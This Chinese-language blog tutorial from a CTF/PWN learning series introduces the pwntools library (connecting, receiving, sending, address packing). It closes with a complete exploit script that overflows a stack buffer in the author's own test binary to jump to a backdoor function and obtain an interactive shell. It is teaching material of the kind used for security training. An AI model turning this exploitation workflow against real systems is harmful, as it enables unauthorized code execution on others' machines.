当前位置: 首页 > news >正文

【学习记录】Week1:Pwntools 基础——连接、接收与发送 Payload 实操

写在前面:在前面的几篇博客中,我们已经学会了用objdump看汇编,算出了偏移量是 72,也理解了小端序和 64 位的传参规则。但现在我们一直在用终端手动输入字符调试,这显然无法输入不可见的十六进制地址。
今天,我们将引入 PWN 界的最强神器 ——Pwntools。它是 Python 的一个 CTF 漏洞利用库,能让我们用极其优雅的代码完成连接、发送 Payload 和获取 Shell 的全过程。

📑 目录

  1. 环境准备:安装 Pwntools
  2. 核心概念:万物皆可p
  3. 基础 API 详解(连接、接收、发送)
  4. 地址打包神器:p32p64
  5. 实战演练:编写第一个完整 Exploit 脚本
  6. 交互神器:p.interactive()
  7. Week1 全程总结

1. 环境准备:安装 Pwntools

在 WSL2/Ubuntu 终端中执行以下命令安装 Pwntools(如果之前装 pwndbg 时没装的话):

# 更新软件源并安装 pip sudo apt update sudo apt install python3-pip -y # 安装 pwntools pip3 install pwntools

安装完成后,在终端输入python3进入交互环境,输入from pwn import *。如果没有报错,说明安装成功!(首次导入可能会有些警告信息,属于正常现象)。

2. 核心概念:万物皆可p

在 Pwntools 中,最常用的对象是p(或者说io,r,大家习惯叫它p)。它代表了你与目标程序的连接通道
无论是本地执行一个程序,还是远程连接一个 CTF 题目的服务器,一旦建立了连接,后续的发送和接收操作都是针对这个p进行的。

3. 基础 API 详解

3.1 建立连接

  • 本地打靶p = process('./vuln')
    这会像你在终端输入./vuln一样启动一个本地进程,并建立用于通信的管道。
  • 远程打靶p = remote('127.0.0.1', 9999)
    这会通过 TCP 连接到指定 IP 和端口的目标程序(通常用于打线上题)。

3.2 接收数据

有时候程序会打印一些提示信息(比如Please input:),我们需要把这些信息接收下来,确保程序执行到了我们想要的位置。

  • p.recv():接收所有可用数据。
  • p.recvline():接收一行数据(遇到\n停止)。
  • p.recvuntil('Please input: ')最常用,一直接收数据,直到遇到指定的字符串为止。这非常适合用来同步本地脚本和远程程序的执行流。

3.3 发送数据

把我们构造好的 Payload 发送过去。

  • p.send(payload):直接发送数据,不会自动加换行符。
  • p.sendline(payload):发送数据,并自动在末尾加上一个换行符\n
    注意:gets()函数遇到换行符才会结束读取,所以打gets漏洞时通常用sendline;而如果是read()函数,通常用send

4. 地址打包神器:p32p64

还记得我们讲过的小端序吗?我们需要把0x401156这样的地址变成\x56\x11\x40\x00...才能放进 Payload 里。

Pwntools 提供了自动转换的函数:

  • p32(0x401156):将整数打包为 32 位小端序字节流。
  • p64(0x401156):将整数打包为 64 位小端序字节流。
  • u32(b'\x56\x11\x40\x00'):解包,把字节流转回整数(用于信息泄露时还原地址)。

5. 实战演练:编写第一个完整 Exploit 脚本

让我们结合上一篇博客中分析的vuln程序(偏移量 72,64位程序),写一个完整的攻击脚本!

假设我们在vuln.c中加了一个后门函数void secret() { system("/bin/sh"); },我们通过objdump查到secret函数的地址是0x401156。我们要用栈溢出跳转到secret拿 Shell。

新建一个文件exp.py

from pwn import * # 1. 设置运行环境架构(可选,但好习惯) context(arch='amd64', os='linux', log_level='debug') # 2. 建立连接(本地打靶) p = process('./vuln') # 3. 构造 Payload offset = 72 target_addr = 0x401156 # 填充 72 字节垃圾数据,后面跟上目标地址(自动转小端序) payload = b'A' * offset + p64(target_addr) # 4. 接收程序的提示信息(可选操作,为了同步) # 假设 vuln.c 里有 printf("Please input: "); p.recvuntil(b'Please input: ') # 5. 发送 Payload p.sendline(payload) # 6. 进入交互模式 p.interactive()

脚本解析:

  • context(...):设置环境为 64 位 Linux。log_level='debug'会让你在终端看到所有发送和接收的原始十六进制数据,新手必开,方便排错。
  • b'A' * offset:注意在 Python3 中,字节串前面要加b
  • p.interactive()最神奇的一行代码。当 Payload 发送完毕,如果成功劫持了控制流并执行了system("/bin/sh"),这行代码会把你的终端控制权交给被攻击的程序。此时你可以直接在终端输入lscat flag.txt等命令,就像直接 SSH 登录上去了一样!

6. 运行你的 Exploit

在终端执行:

python3 exp.py

如果一切顺利,你会看到 Pwntools 打印出一堆 Debug 信息,然后光标停住。此时你输入idls,如果能返回结果,恭喜你,你成功完成了人生中第一次完整的 PWN!

如果你跟着我走到了这一步,说明你已经具备了极强的学习能力和耐心。PWN 的大门已经向你敞开!如果本系列文章对你有帮助,请一键三连支持一下,我们 Week2 见!🙏

http://www.jsqmd.com/news/1091042/

相关文章:

  • Simple Runtime Window Editor:三步突破游戏分辨率限制,打造专业级截图工具
  • FSearch终极指南:Linux系统极速文件搜索完整教程
  • 社论:拥抱贾子理论大厦:AI时代中国思想主权的战略觉醒
  • 降AIGC平台红黑榜:实测3款热门工具,剖析实用程度与常见陷阱,文末附攻略
  • Codex 新手入门:别急着改代码,先学会这套安全流程
  • 文件上传漏洞攻防:从原理到实战的完整攻击链解析
  • Lightweight Charts终极指南:如何在5分钟内构建高性能金融可视化应用
  • 【Springboot毕设全套源码+文档】基于springboot智能阅读推荐系统的设计与实现(丰富项目+远程调试+讲解+定制)
  • 星盾(Starshield)与星链(Starlink)系统架构差异解析:PWSA框架下的军用低轨星座独立体系与作战应用
  • 终极指南:Jellyfin Bangumi插件让动漫库管理变得简单高效
  • AI驱动移动端自动化测试:从意图理解到工程实践
  • 别再熬夜写论文了!6款一键生成论文工具,一键极速生成超长篇幅!
  • Mi-Create开源表盘设计工具:可视化操作打造个性化小米手表表盘
  • 【学习记录】Week2(一):深入 ELF 结构视图与 .got/.plt 节区作用详解
  • 如何快速掌握NDS游戏文件编辑器:Tinke的完整使用指南
  • 还在愁论文框架搭不好?9款AI论文写作软件一键生成逻辑连贯初稿!
  • 程序员真正的天花板,不是技术,是表达
  • 如何彻底解决Cursor试用限制:从设备指纹识别到一键重置的完整指南
  • 音频混音原理(MIXer)
  • 毕业生必备:9款免费AI写作辅助平台,一键生成开题报告与论文大纲
  • Ubuntu 磁盘排查必备:sudo du -sh * 与 du -shx /var/lib/docker 用法详解与实战
  • 基于STM32+FPGA的驱控一体伺服控制器:从硬件架构到FreeRTOS任务调度的设计实践
  • 2026好用的命理软件推荐给进阶用户:工具箱、学习路径和资料安全怎么选
  • 从零构建企业级iSCSI存储:Openfiler安装与基础服务配置实战
  • FreeRTOS源码详解(八)——Event
  • SGLang vs vLLM:优先级调度、限流、淘汰策略对比
  • 从Swin到Video Swin:时空Transformer如何重塑视频理解
  • 基于 Self-RAG 与列表级重排序的进阶 RAG 系统设计与实现
  • 从图形化到代码:基于ESP8266与米思齐的温室大棚控制逻辑深度解析
  • AI赋能Burp Suite:智能Web漏洞扫描与WAF绕过实战解析